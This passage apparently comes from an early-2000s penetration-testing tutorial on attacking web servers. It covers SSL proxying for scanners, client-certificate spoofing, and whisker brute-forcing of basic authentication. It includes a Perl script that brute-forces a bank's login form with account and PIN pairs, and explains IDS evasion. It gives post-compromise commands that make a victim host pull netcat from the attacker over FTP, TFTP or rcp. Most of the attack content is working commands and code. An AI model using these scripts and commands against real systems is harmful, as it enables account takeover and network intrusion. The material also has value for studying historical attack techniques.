-l <local port>     port number where proxy will bind
-R <remote address> IP address or hostname the proxy will connect to
-r <remote port>    port number the proxy will connect to
-s                  run as server proxy, not client proxy
-n                  do automatic SSL negotiation for netbios
-p <protocol>       protocol to use, may be: ssl23 (default), ssl2, ssl3, tls1
-c <certfile>       use the given certificate in PEM format
-k <keyfile>        use the given key in PEM format (may be contained in cert)
-v <verify file>    file containing the CA's certificate
-V <verify dir>     directory containing CA certificates in hashed format
-C                  use SSL compatibility mode
-P                  require valid peer certificate

/# sslproxy -L 127.0.0.1 -l 7117 -R 168.xxx.240.30 -r 443 -v Class3.pem >&
/dev/null
/# perl whisker.pl -h 127.0.0.1 -p 7117

-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net --

= - = - = - = - = - =
= Host: 127.0.0.1
= Server: Microsoft-IIS/4.0

---cut----
```

The first step is to find the IP number of the host. Next we set up the *SSLproxy* listening on port 7117 and going to the server on port 443 (SSL). The proxy will verify the server certificate with the CA certificate *Class3*.pem that was exported from a browser and looks like this (I add it here so save you some time):

```
-----BEGIN CERTIFICATE-----
MIICPTCCAaYCEQDknv3zOugOz6URPhmkJAIyMA0GCSqGSIb3DQEBAgUAMF8xCzAJ
BgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xh
c3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05
NjAxMjkwMDAwMDBaFw0wNDAxMDcyMzU5NTlaMF8xCzAJBgNVBAYTAlVTMRcwFQYD
VQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJp
bWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCBnzANBgkqhkiG9w0BAQEFAAOB
jQAwgYkCgYEAyVxZnvIbigEUtBDfBEDb41evakVAj4QMC9Ez2dkRz+4CWB8l9yqo
```

```
RAWq7AMfeH+ek7maAKojfdashaJjRcdyJ8z0TMZ1cdI5709C8HXfCpDGjiBvmA/4
rCNfcCk2pMmG57GaIMtTpYXnPb59mv4kRTPcdhXtD6JxZExlLoFoRacCAwEAATAN
BgkqhkiG9w0BAQIFAAOBgQBhcOwvP579K+ZoVCGwZ3kIDCCWMYoNer62Jt95LCJp
STbjl3diYaIy13pUITa6Ask05yXaRDWw0lyAXbOU+Pms7qRgdSoflUkjsUp89LNH
ciFbfperVKxi513srpvSybIk+4Kt6WcVS7qqpvCXoPawl1cAyAw8CaCCBLpB2veZ
pA==
-----END CERTIFICATE-----
```

The final step is to get *whisker* to scan localhost on port 7117. The proxy listens on port 7117 and "converts" the HTTP request to SSL on the target machine. Notice that we append a >& /dev/null & to the proxy command to ensure that we can easily read the output. Testing the proxy can be done by just firing up the proxy and connecting with a browser to http://127.0.0.1:7117.

Let us assume that we have found a vulnerability on the host and we want to use it. We would then simply edit the exploit to point to port 7117 and execute the exploit against 127.0.0.1 (we will look at this in more detail later). Why not bind the proxy to port 80? The reason I have it on port 7117 is because I don't want to stop and start my webserver every now and again - if you are not running a webserver you should not have a problem binding to port 80. The other reason might be that you do not have root rights on the host - an ordinary user can execute programs that bind to port above 1024 - see chapter 6.

HTTPS (SSL3) (443 TCP)

Things can get trickier. What if the site requires a client certificate? In many cases you have a webserver that requires a client certificate, and would respond like this:

```
HTTP Error 403
403.7 Forbidden: Client certificate required
This error occurs when the resource you are attempting to access requires your
browser to have a client Secure Sockets Layer (SSL) certificate that the
server recognizes. This is used for authenticating you as a valid user of the
resource.
```

The Common Name (CN) of the client certificate is mapped to a user on the NT server, and access rights on the server are given according to the user name. Again, it is beyond the scope of the document to explain the inner workings of IIS servers or PKI. The reader should understand that if a webserver trusts a public CA (such as Verisign) and relies on a client certificate's CN to authenticate the user it can be exploited. Let us see how we will exploit this.

The first step would be to obtain a class 1 client certificate from Verisign. Go to http://digitalid.verisign.com. Apply for a class 1 personal certificate. In the firstname field enter a name - this name will be the CN of the client certificate and as such a firstname of "administrator" would not be a bad choice. Leave the lastname blank. Follow all the steps - the email thing, the "install new client certificate etc". At the end of all of this you should have a client certificate installed in your browser. You now want to use this client certificate with the SSLproxy, so it has to be exported. Export the cert as a PKCS12 package and save it to file with a P12 extension. The *SSLproxy* package cannot read PKCS12 cert packages so you have to convert it. We use *OpenSSL* to convert the cert to something more portable:

```
# openssl pkcs12 -in mycert.p12 -clcerts
```

The *openSSL* PKCS12 module ask for 3 passwords or PINs - the first one is the current PIN/password that you chose for your cert - the second two are the new PIN/password for the cert. The output of the command looks like this:

```
Enter Import Password:
MAC verified OK
Bag Attributes
```

```
    friendlyName: administrator's VeriSign, Inc. ID
    localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
Key Attributes: <No Attributes>
Enter PEM pass phrase:
Verifying password - Enter PEM pass phrase:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,17A295CBFA235CE5

SmFYIhSdmA7c9pT+ScpzNuGD3QHo999ugVBcWDHnNlBmDXFYY2+Zepgx9dLnrw8E
EeV8YutU/0dvQwlCvENVp3vgEQ9ca1xeskPBIxBoitWxGWWGnAq/Z/KHhDuISNQU
rqDmEP9szmlZIH3tjzjNh+yWcvzXOhJb1wGLqnwx6lTlK88Se4rY4d2AyEEe8nzP
YcDRIFy+Gw4ZLAcplotOYj6uN13NKobfy6Gs2v0adY0/Bqg91AFDP4VynPn7ptsC
Ez2Nz6n3zXO+4AozJxuPyXxt0So6/4hX7E9aEuFxrpUnW9xcxGMmcPd8gBY2wtTb
k9jBYKz2d3k/EtYpdbVWgFwWjurzt5VX4WtEE78gLDw/BzPuq2wq9ZtGHYDNonBK
tQpCpnmiPGxvFCYyvHgnFhht59C4nrXZ+hO8jwZ62shnWSnUYM73MyMqJoKVwQTP
j4a6P0dSbQX+9u2fBIkMYIC2RYoPTA7Nv2OQZWLf4EeiI+Y1xvDQwfEhHkCdA/bc
cd5EqvYpH+yJxGjivl47DJNtUuPWWgLH5iYFMQEEolv9iXsUsT9ycOtUMdpbjRMW
v09BHDmC0pkn3HbvrBmE0UzHX6nDb8H5lpXDd/D2OLOqwMInXgaUnSA/fPGDP0xo
Gzpm+Hqb77n2REv46gnzARWtxCXFSFBP0Ck5eGQD8Ah5/T+kJQt3bVI72YT8+GY6
7uuoYrVVyjtqG57CCYtXCZL3W1SV2hUGUD7VPZFiq7u0LHYLM+bB2z+9STcAQDJY
AWU/XJSNL3Ba7xfOsxklfRFtjrvkLs0jY/GRBTizufQHnVIJQwH3Ag==
-----END RSA PRIVATE KEY-----
Bag Attributes
    friendlyName: administrator's VeriSign, Inc. ID
    localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
subject=/O=VeriSign, Inc./OU=VeriSign Trust
Network/OU=www.verisign.com/repository/RPA
Incorp. by Ref.,LIAB.LTD(c)98/OU=Persona Not Validated/OU=Digital ID Class 1 -
Netscape/CN=administrator/Email=roelof@sensepost.com
issuer= /O=VeriSign, Inc./OU=VeriSign Trust
Network/OU=www.verisign.com/repository/RPA
Incorp. By Ref.,LIAB.LTD(c)98/CN=VeriSign Class 1 CA Individual Subscriber-
Persona Not
Validated
-----BEGIN CERTIFICATE-----
MIID+DCCA2GgAwIBAgIQfvf0Rx3VZ3jAV3CIxZt2/jANBgkqhkiG9w0BAQQFADCB
zDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBCeSBSZWYuLExJQUIuTFREKGMpOTgxSDBGBgNVBAMTP1Zl
cmlTaWduIENsYXNzIDEgQ0EgSW5kaXZpZHVhbCBTdWJzY3JpYmVyLVBlcnNvbmEg
Tm90IFZhbGlkYXRlZDAeFw0wMDA4MTgwMDAwMDBaFw0wMDEwMTcyMzU5NTlaMIIB
BzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBieSBSZWYuLExJQUIuTFREKGMpOTgxHjAcBgNVBAsTFVBl
cnNvbmEgTm90IFZhbGlkYXRlZDEmMCQGA1UECxMdRGlnaXRhbCBJRCBDbGFzcyAx
IC0gTmV0c2NhcGUxFjAUBgNVBAMUDWFkbWluaXN0cmF0b3IxIzAhBgkqhkiG9w0B
CQEWFHJvZWxvZkBzZW5zZXBvc3QuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQCuzCptG2BoEqAp8rz6V/SlABacd2hxEbbbnya/KlrtYb9JI3msRlQiCGaq
6dvunApS4DwEnqvukWDpMLzX8hwqFrFsH5ael5xGjWuJKGhS867nWNYF2XahTeUT
9Sms73BRCO3/HbxObeKLfvGsV/WsH6A1JTBiqO3YCj6+OLRL0wIDAQABo4GcMIGZ
MAkGA1UdEwQCMAAwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcBCDAqMCgGCCsGAQUF
BwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMBEGCWCGSAGG+EIBAQQE
AwIHgDAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9j
bGFzczEuY3JsMA0GCSqGSIb3DQEBBAUAA4GBABbGIo0RoPwCTUq4tQQC9mkKH1Us
TwKiE82ncbCELjGfOsW84Ud6W73ZwK1boDsV5jvs/wyiU3TUoqSoX/hoP2BJeSYm
E8yi99tS5phKyHNK+FIVtL60vp59QdUQ6141gdUUGlgLpOLeL8iACXpbgnIWyhw1
P6QDY1kLWUBdT2E5
-----END CERTIFICATE-----
```

You will see a certificate, and a private key, both PEM encoded. Take these PEM encoded blocks, and cut & paste them to a file - both of them in one file - the order does not matter. Let us assume you call the file *mycert.pem*. This is your client cert and key. BTW - I would gladly give you the password for the above cert - the only problem is that it is only valid for 60 days, and by the time you read this its probably expired already. The next step is to fire up the SSL proxy to use your client cert, while still verifying the server cert. We start *SSLproxy* as follows:

```
# sslproxy -L 127.0.0.1 -l 7117 -R 168.xxx.240.30 -r 443 -v Class3.pem -c
mycert.pem
Enter PEM pass phrase:[enter you PIN here]
proxy ready, listening for connections
```

Now test if the server accepts the public signed client certificate by typing http://127.0.0.1:7117 on your browser. Should this work we can now scan 127.0.0.1 on port 7117, and *SSLproxy* will happily pass along our client cert in every request.

HTTP + Basic authentication

What about sites that require basic authentication? Basic authentication simply means that you have to provide a username and password to enter a site. Note that some sites might have usernames and passwords at application level - at "site" level - e.g. you must provide a username and password in a HTML based form. This is not basic authentication. With basic authentication, a extra window will be popped up in your browser and you will be prompted for a username and password. As is the case with telnet, the first step would be a get a valid username. Some implementations of basic authentication will tell you if you are using a valid username. Let us look at how Firewall-1 implements basic authentication. I go to the site http://196.xxx.151.241. At the BA (basic authentication) prompt I enter a username "test" and password "test". The server tells us that there is some problem, and responds like this:

```
Error 401
FW-1 at gateway: Unauthorized to access the document.
  Authorization is needed for FW-1.
  The authentication required by FW-1 for test is: unknown.
  Reason for failure of last attempt: unknown user
```

Note that is says "unknown user" - the username "test" is thus not valid. If we try it with user "craig" however (we know that craig is a valid user) the response looks like this:

```
Error 401
FW-1 at gateway: Unauthorized to access the document.
  Authorization is needed for FW-1.
  The authentication required by FW-1 for craig is: FW-1 password.
  Last message to user: FireWall-1 password:
```

Aha! Note that we don't see any "unknown" user response. How about other server - Apache and IIS? If we use an invalid user at the Apache BA prompt we get a response that says either the username or password is incorrect. IIS does the same thing. For these servers we need to guess usernames. On IIS "administrator" won't be a bad guess.

How do we go about to brute force sites that use BA? *Whisker* has the functionality to brute force attack BA sites. How do we do this? Let us set up *whisker* to brute force attack the site http://196.xxx.151.241 with username "craig". We build a file called "passwords" containing some common passwords and execute *whisker* as follows:

```
# perl whisker.pl -a craig -L / -P passwords -h 196.xxx.151.241
```

Let us have a quick look at the different switches. -a specifies the username, -L / says that we want to get to the main site - if the server protects a specific URL we would added it after the /. -P tells whisker that we use the file "passwords" as passwordfile (wow!). Please note - we had to make some minor changes to *whisker.pl* for this to work. Line 28 should read like this:

```
 getopts("P:fs:n:vdh:l:H:Vu:iI:A:S:EF:p:M:UL:a:W", \%args);}
```

Line 1185 should read like this:

```
if($R!~m#^HTTP/[0-9.]{3} 40#){
```

When *whisker* find a valid username and password combination it responds like this:

```
= Valid auth combo 'craig:xxx' on following URL:
= http://196.xxx.151.241
```

The idea would now be to run *whisker* with the correct username and password against the site:

```
# perl whisker.pl -a craig:testing -h 196.xxx.151.241
```

If you have an "133t" exploit you wish to run against a site that makes use of BA, and you do have the correct username and password - you still need to modify the 'sploit in order to use it with BA. The easiest way of doing this is to sniff the actual output of *whisker*, and look for the "Authentication: Basic" part. Add that then to your 'sploit. The more '133t' way is obviously to base64 encode the username:password, put "Basic" in front of it...

Data mining

Another nice feature of *whisker* is that of "data mining" - searching for interesting files or directories on servers. Another program that does the same type of thing is called *cgichk* (I got it off Packetstorm - I don't see any URLs in the documentation). We will stick to whisker though. The default database does some mining but better mining databases exist. One such a DB is *brute.db* - also to be found on RFP's site. This DB makes whisker search for anything that looks password-ish, admin-ish and other interesting files. Keep your eyes open for similar DB files.

I recently started working on another technique that is proving to be quite useful. The idea here is to mirror the while website and find common directories. For instance, an administrative backend that sits on *http://xx.com/whole_site_here/admin.asp* wont be found with the normal techniques. The idea is thus to mine the site for directories and put the common dirs into the *brute.db* file of whisker. Lets look at how to. First I copy the site (using *lynx*)

```
# lynx -accept_all_cookies -crawl -traversal http://www.sensepost.com
```

(You might try something like *TeleportPro* for Windows as well) You will a lot of files in the directory where you executed the command from. The *.dat files contains the actual pages. The file "*reject.dat*" is interesting as it contains link to other sites - it might help you to build a model of business relations (if anything). It also shows all the "mailto" addresses - nice to get additional domain names related to the target. In the file "*traverse.dat*" you will find all the link on the page itself. Now all you need to do is look for common directories & populate the *whisker brute.db* file with it.

```
/tmp> cat traverse.dat | awk -F 'http://www.sensepost.com/' '{print
/$2}' | awk -F '/' '{print $1}' | sort | uniq | grep -v "\." | grep -v "\?"

misc
training
```

You need to change the root directories to *brute.db* in the line that says:

```
array roots = /, cgi-bin, cgi-local, htbin, cgibin, cgis, cgi, scripts
```

to something like:

```
array roots = /, misc, training, cgi-bin, cgi-local, htbin, cgibin, cgis, cgi,
scripts
```

Now fire up whisker with the new *brute.db* file.

```
> perl whisker.pl -h www.sensepost.com -s brute.db -V,
```

and you might be surprised to find interesting files and directories you wouldn't have seen otherwise.

Web based authentication.

What happens when you are faced with a website that use a username and a password on the page itself - that is - no basic authentication or digest/NTML authentication, but coded in a ASP op PHP? I have been asked this question many times, and will try to explain the way I handle it. There is no quick fix - each page looks different, the tags are not the same etc. I will try to explain a generic solution.

Step 1: Get the source. You should first get the HTML source of the site prompting for a username and password - now obviously if the source is in a frame you'll need to get the frame's source.

As an example I'll use a big South African bank's Internet banking pages (its SSL protected, so that will make things interesting as well). We strip all the Java validation, and the tables - we are only interested in the section starting at <form> and ending at </form>. We are left with source that looks like this:

```
<FORM Name="LoginPage" ACTION="/scripts/xxx/xxx.dll?Logon" METHOD="POST">
Profile Number : <br>
<INPUT TYPE="text" NAME="ProfileNumber" SIZE=14 >
Profile PIN :<br>
<INPUT TYPE=password SIZE=8 NAME="PIN" > <br>
<INPUT TYPE="submit" VALUE="Login"><br>
<Input Type="hidden" Name="Graphics" value="Off">
</FORM>
```

Step 2: getting the HTTP POST request. Now the more expert web developers could probably see exactly what the HTTP header would look like - but I am a bit slow so we want to make sure that we don't make a cluck-up. Safe the edited HTML source somewhere, and modify it slightly - we want the HTTP request to go through in the clear (so that we can monitor it) and so we will change the destination from

```
<FORM Name="LoginPage" ACTION="/scripts/xxx/xxx.dll?Logon" METHOD="POST">
```

to:

```
<FORM Name="LoginPage" ACTION="http://160.124.19.97/scripts/xxx/xxx.dll?Logon"
METHOD="POST"
```

The IP 160.124.19.97 is the machine right next to me on my network (not running any form of HTTPd but this is not a problem). We now fire up our favorite network sniffer looking for traffic to the IP 160.124.19.97 on port 80, while we "surf" our edited file (get it - the idea is to see the POST request in the clear). We enter some values in the fields and hit submit. On a network level the HTTP request looks like this:

```
# seepkt "ip and dst port 80 => show ascii"

POST /scripts/xxx/xxx.dll?Logon HTTP/1.0^M
^JConnection: Keep-Alive^M
^JUser-Agent: Mozilla/4.72 [en] (X11; I; FreeBSD 4.0-20000727-STABLE i386)^M
^JHost: 160.124.19.97^M
^JAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*^M
^JAccept-Encoding: gzip^M
^JAccept-Language: en^M
^JAccept-Charset: iso-8859-1,*,utf-8^M
^JContent-type: application/x-www-form-urlencoded^M
^JContent-length: 45^M
^J^M
^JProfileNumber=123456789&PIN=5555&Graphics=Off
```

(thnx to JT (you know who you are) for such a fine tool like seepkt) OK - now don't worry about the ^J's and the ^M and the start and end of the lines.

Step 3: replay the request. Now if we can send this HTTP header + 1 line of text to the server, the server will think that we are trying to log into it,

and will respond with some HTML in return. So - we need a program or script that will generate this request and send it to the webserver. Most of the header is static, but there are some fields that are dynamic. The basic structure of such a script would look like this:

1. set up the target IP and port (and other bits)
2. build the POST request
3. calculate and build the HTTP header
4. send it all to the server
5. parse the results

We might want to loop parts 2-5 for different "usernames" and "passwords". These "usernames and passwords" are read from a file. Remember that the site is SSL protected, so let us assume a SSL-proxy is running on the local machine, pointing to the target, and listening on port 5555. Let's now look at the actual script:

```
#!/usr/bin/perl
use Socket;

########[1] Init all
$host = "127.0.0.1";
$port = 5555;
$urlthingy = "/scripts/xxx/xxx.dll?Logon";
$target = inet_aton($host);
open (INPUT,"accounts") || die "Could not open account file\n";

########[loop] begin
while (<INPUT>){
chop;
($account,$pin)=split(/:/,$_)
print "Testing account $account with PIN $pin : ";

#######[2] Build POST request
$poststring="ProfileNumber=".$account."&PIN=".$pin."&Graphics=Off";

#######[3] calculate & build HTTP header
$plength=length("$poststring");

$tosend=<<EOT
POST $urlthingy HTTP/1.0
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded

$poststring

EOT
;
$tosend=~s/\n/\r\n/g;

#######[4] Send it to the server
#print $tosend;
my @results=sendraw($tosend);
#print @results;

#######[5] Parse the results
my $fail=0;
for (@results) {
 if (/The Profile/) {$fail=1;}
}
for (@results) {
 if (/PIN/)  {$fail=2;}
}
for (@results) {
 if (/Before/)  {$fail=3;}
}
if ($fail == 1) {print "not a valid account number\n";}
if ($fail == 2) {print "not a valid PIN\n";}
if ($fail == 3) {print "not a registered account number\n";}
if (!$fail) {print "is good! Bingo! \n";}

#######[loop] end
```

```
}
close (INPUT);


#### sub to send it to server - ta RFP!
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;
                        print STDOUT "." if(defined $args{X});}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
```

Obviously this script have to be modified to suits your need - especially the parsing bit..:) The "account" file contains ":" separated fields -e.g.

```
123456789:1234
987654321:4321
etc.
```

Tricks

If your script does not work the first time - do not despair - things have to be exactly right to work. Test your script without any loops, and hardcode the actual POST string (you'll have to calculate the "content length" yourself though). Uncomment the part where the HTTP header is printed - make sure it is exactly right.

Obviously you'll have to check what the results are to be able to parse the results - you would want to uncomment the part where the results are returned (it helps when you have a valid username and password in order to parse a positive result).

Virtual hosted sites. When sending data to virtually hosted sites you'll have to add a "Host: the_URL" in the HTTP header so that the server know with which virtually hosted site you are talking to. It is trivially easy to add this to the above script.

Cookies - they are there no make life a little more difficult. The server sends a cookie to the client, and the client needs to pass the cookie along all the time for the request to be valid. The idea is thus to first "capture" the cookie from the correct URL, and then to pass the cookie along in the POST request. Hereby is extract from a similar script that uses cookies:

```
#---------------discover the cookie
$xtosend=<<EOT
GET /xxx/Logon_access.asp?langind= HTTP/1.0
Connection: Keep-Alive
User-Agent: SensePostData
Host: $posthost
Accept-Charset: iso-8859-1,*,utf-8

EOT
;
$xtosend=~s/\n/\r\n/g;
my @results=sendraw($xtosend);
#---------parse the result for the cookie jar
foreach $line (@results) {
 if ($line =~ /Cookie/) {
  $line =~ s/ //g;
  $line =~ s/;/:/g;
  ($dummy,$cookie)=split(/:/,$line);
#  print "magic cookie=[$cookie]\n";
 }
```

```
}
#---Get the real request out to the server
$tosend=<<EOT
POST $urlthingy HTTP/1.0
Cookie: $cookie
Content-Length: $plength
Connection: Keep-Alive
User-Agent: SensePostData
Content-Type: application/x-www-form-urlencoded

$poststring

etc.etc.
```

Trick - set your browser to warn you of incoming cookies, and see if your script captures all the cookies.

I have found that on some servers the "*Connection: Keep-Alive*" tag breaks the script. I fiddled with the HTTP/1.0 / HTTP/1.1 field - sometimes these two fields needs to be modified. Experiment!

ELZA & Brutus

Some time later I heard about a tool called *Elza*. What a neat tool. It basically does all the stuff that I have done in the PERL scripts. It uses a kind of scripting language that takes a bit of getting used it - but that is VERY powerful. The docs on *Elza* has a nice example for creating 10000 random hotmail accounts :) *Elza* will handle cookies, HTTP redirection and URL state strings. It also has extensive support for brute forcing web based authentication schemes. Very nice.

Even later I had a look at a program called *Brutus* (for Windows). *Brutus* will actually learn a CGI form, and gives you the ability to brute force any part of the form. It works for most types of forms, but I have found that in some intense environments, *Brutus* does not cut it.

IDS & webservers

IDS (Intrusion Detect Systems) must one of the more painful inventions - for hackers. Luckily ID systems are seldomly properly configured. ID systems looks for patterns or signatures in datastreams. If the pattern in the datastream matches that of a pattern in the IDS's database (that is marked as "bad") the IDS reacts. Reaction can be logging the offensive packet, but it could also be sending a combination of RST packets, ICMP redirects/port unreachable/host unreachable packets back to the offending party. In other words - if you send naughty packets the IDS will kill your connection. Running a whisker scan against a machine that is monitored by an IDS will cause the IDS to go ballistic.

Luckily RFP build some interesting "cloaking" techniques into his scanner. Read his documentation to find out how it works. Whisker has 10 different cloaking methods, and the basic idea is that you camouflage the URL in different ways, hoping the IDS won't recognize the malicious pattern. The -S switch decides what method would be used. Add it when you are not getting results - it might be an IDS killing all your requests.

An interesting point to note is that it does not make sense to use anti-IDS techniques when you are attacking an SSL-enabled site. The traffic is encrypted remember? (if the IDS is running on the host itself...what comes 1st - the IDS or the decryption? After a lengthy discussion on the Vuln-dev mailing list, it was clear that IDS does not work with SSL. The bottom line - if you are having troubles with IDS - go for the SSL-enabled sites 1st.

Obviously all of the above techniques can be used in conjunction with each other. Doing datamining with anti-IDS on a SSLv2 site that use Basic Authentication is thus entirely possible (although the SSL bit wont make any sense..).

Pudding

Some time after I wrote the doc the Unicode bug struck. I got working on UTF8 encoding, and decided to write a tool that would randomly encode each character in a GET request. I proved to be VERY effective against IDS-es. Here is an extract from the pudding docs:

```
I always wanted a tool that will save me the time to recode a HTTP exploit or
scanner to use a certain IDS evasion method. Its fine to see that whisker's IDS
evasion method 1 (hex encoding) works to bypass a certain IDS, but now you
still have to recode your exploit's HTTP request in hex.

I wanted a type of proxy that will encode the HTTP request for ANY scanner or
exploit. Pudding is such a tool. It supports most of RFP's IDS evasion encoding
methods, and I have added random UTF-8 encoding support.
Practically it works like this:

[exploit]--not encoded-->[(nc)-proxy]--encoded-->IDS -->[target]

Parameters for the proxy is as follows:

./pudding listenport:targetIP:targetport:mode

After execution, pudding will use netcat (nc) to listen on port <listenport>.
When a connection is made it will execute the PERL script stealth.pl. According
to the <mode> parameter, stealth.pl will encode the request and send it to
<targetIP> on <targetport>. The reply will be sent via the PERL script back to
netcat and thus back to the exploit or scanner.

Encoding methods that pudding do:

      mode 0 clear (no encoding) for testing
      mode 1 all UPPERCASE
      mode 2 hex encoding
      mode 3 /./ directory insertion
      mode 4 fake parameter
      mode 5 premature URL ending
      mode 6 windows delimeter
      mode 7 random UTF8 encoding

(see RFP's documentation on whisker's IDS evasion methods - I butchered it from
there anyway)

Multiple connections
--------------------
As browsers and scanners (and some exploits) use multiple connections, pudding
needs to fork for each request. PERL is not as fast as C, and therefor you will
need to start a few instances of pudding for programs that needs multiple
connections (think of Apache and Squid that fire up a few children to handle
the load - same thing here).

Let us look at an example:
--------------------------
(lets use RFP's popular RDS exploit with random UTF-8 encoding)

# ./pudding 80:160.xxx.xxx.98:80:7 &
[1] 23689
# ./pudding 80:160.xxx.xxx.98:80:7 &
[2] 23697
# ./pudding 80:160.xxx.xxx.98:80:7 &
[3] 23705
# perl rfp.orig.pl -h 127.0.0.1
-- RDS smack v2 - rain forest puppy / ADM / wiretrip --
Type the command line you want to run (cmd /c assumed):
cmd /c echo

Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: d: e: f: g: h:
winnt35 -> c: d: e: f: g: h:
winnt351 -> c: d: e: f: g: h:
win -> c: d: e: f: g: h:
windows -> c: d: e: f: g: h:
```

```
Step 2: Trying to make our own DSN...
Making DSN: c: <<fail>>

Step 3: Trying known DSNs.....AdvWorks: Success!
```

Now what?

Most books and papers on the matter of hacking always stop at the point where the attacker has gained access to a system. In real life it is here where the real problems begin - usually the machine that has been compromised is located in a DMZ, or even on an offsite network. Another problem could be that the compromised machine has no probing tools or utilities and such tools to work on an unknown platform is not always that easy. This part deals with these issues. Here we assume that a host is already compromised - the attacker has some way of executing a command on the target.

Some hosts are better for launching 2nd phase attacks than others - typically a Linux or FreeBSD host is worth more than a Windows NT webserver. Remember – the idea is to further penetrate a network. Unfortunately, you can not always choose which machines are compromised. Before we start to be platform specific, let us look at things to do when a host is compromised. The first step is to study one's surroundings. With 1:1NAT and other address hiding technologies you can never be too sure where you really are. The following bits of information could help (much of this really common sense, so I wont be explaining *why* you would want to do it):

1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)

All of the above will help to form an idea of the topology of the rest of the network - and as we want to penetrate further within the network its helpful. Let us assume that we have no inside knowledge of the inner network - that is - we don't know where the internal mailserver is located - we don't know where the databases are located etc. With no tools on the host (host as in parasite/host), mapping or penetrating the inner network is going to take very long. We thus need some way of getting a (limited) toolbox on the host. As this is quite platform specific, we start by looking at the more difficult platform - Windows.

We are faced with two distinct different problems - getting the tools on the host, and executing it. Getting the tools on the host could be as easy as FTP-ing it to the host (should a FTP server be running and we have a username and password - or anonymous FTP). What if only port 80 is open?

Here's where things start to become more interesting. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:

```
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
```

Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a "&" between commands. This script is very simple and will not be explained in detail as such. There are some problems

with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP – much easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:

```
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
```

As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with Unicode?). There is yet another way of doing it - this time via *rcp* (yes NT does have it):

```
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
```

For this to work you will need to have the victim's machine in your *.rhosts* and *rsh* service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples do not use any authentication - make sure you close your firewall and/or services after the attack!

In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the MDAC exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command *echo <html> >> c:\inetpub\wwwroot\upload.htm* won't work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential difficult" characters into their escaped version, and will then execute an "*echo*" command - appending it all together to form our page. Such a script (in PERL) looks like this:

```
#!/usr/local/bin/perl
# usage: convert <file_to_upload> <target>
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(<HTMLFILE>) {

      s/([<^>])/^$1/g;          # Escape using the WinNT ^ escape char
      s/([\x0D\x0A])//g;        # Filter \r, \n chars
      s/\|/\^\|chr\(124\)\|/g;  # Convert | chars
      s/\"/\^\|chr\(34\)\|/g;   # Convert " chars
      s/\{/\^\|chr\(123\)\|/g;  # Convert { chars
